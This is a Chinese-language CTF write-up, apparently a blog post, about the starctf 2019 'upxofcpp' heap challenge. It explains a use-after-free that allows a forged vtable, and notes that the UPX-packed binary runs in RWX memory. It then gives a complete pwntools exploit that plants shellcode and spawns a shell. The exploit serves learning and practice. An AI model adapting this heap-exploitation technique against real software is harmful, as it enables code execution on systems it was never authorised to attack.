starctf_2019_upxofcpp

161 篇文章 24 订阅
161 篇文章 9 订阅

starctf_2019_upxofcpp

程序用了UPX壳保护,通过upx –d脱壳后,拿到IDA里分析。

Delete以后没有清空指针,存在UAF,但是无法double free,因为程序中使用虚表调用,delete一次后,虚表对应位置已经被清空。因此第二次delete同一个chunk将进入else语句,进而崩溃。由于函数指针放在chunk里,因此,我们可以伪虚表指针,再利用UAF来执行。由于使用的是upx加壳,脱壳后,显示NX保护是关闭的,但是宿主是upx的壳,upx壳程序通过mmap映射出RWX的内存放置受保护的程序,因此,在这里堆栈是可执行的,也可以通过gdb调试查看。因此,我们在堆里布置下shellcode。

我们先申请两个堆释放

add(2,0x20/4,[-1])

add(3,0x20/4,[-1])

 

delete(2)

delete(3)

接下来我们触发malloc_cosolidate

add(4,0x100,[-1])

此时,2的fd伪造写上了main_arena 88的地址

因此,main_arena_88被当成一个虚表

Main_arena_88+0x10处指向2的头

Show功能取得正是vtable+0x10处的函数指针来执行

因此, Main_arena_88+0x10处的数据被当成一个函数指针,因此,我们只要利用堆的共用,在2的prev_size处布置一条jmp $xxxx的指令,然后通过show(2)就可以执行这个jmp,跳到主shellcode里。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
sh = process('./starctf_2019_upxofcpp')
#sh = process('./upxofcpp')
#sh = remote('node3.buuoj.cn',28611)

def add(index,size,data):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Size:',str(size))
   for x in data:
      if (x & 0x80000000 == 0x80000000) and x != -1:
         x -= 0x100000000
      sh.sendline(str(x))

def delete(index):
   sh.sendlineafter('Your choice:','2')
   sh.sendlineafter('index:',str(index))

def show(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('index:',str(index))

shellcode = asm(shellcraft.sh())
data = []
for x in range(0,len(shellcode),4):
   data.append(u32(shellcode[x:x+4]))
add(0,len(data),data)
add(1,0x18/4,[0,1,2,3,u32(asm('jmp $-0x70').ljust(4,'\x00')),-1])
add(2,0x20/4,[-1])
add(3,0x20/4,[-1])

delete(2)
delete(3)
add(4,0x100,[-1])
#getshell
show(2)

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值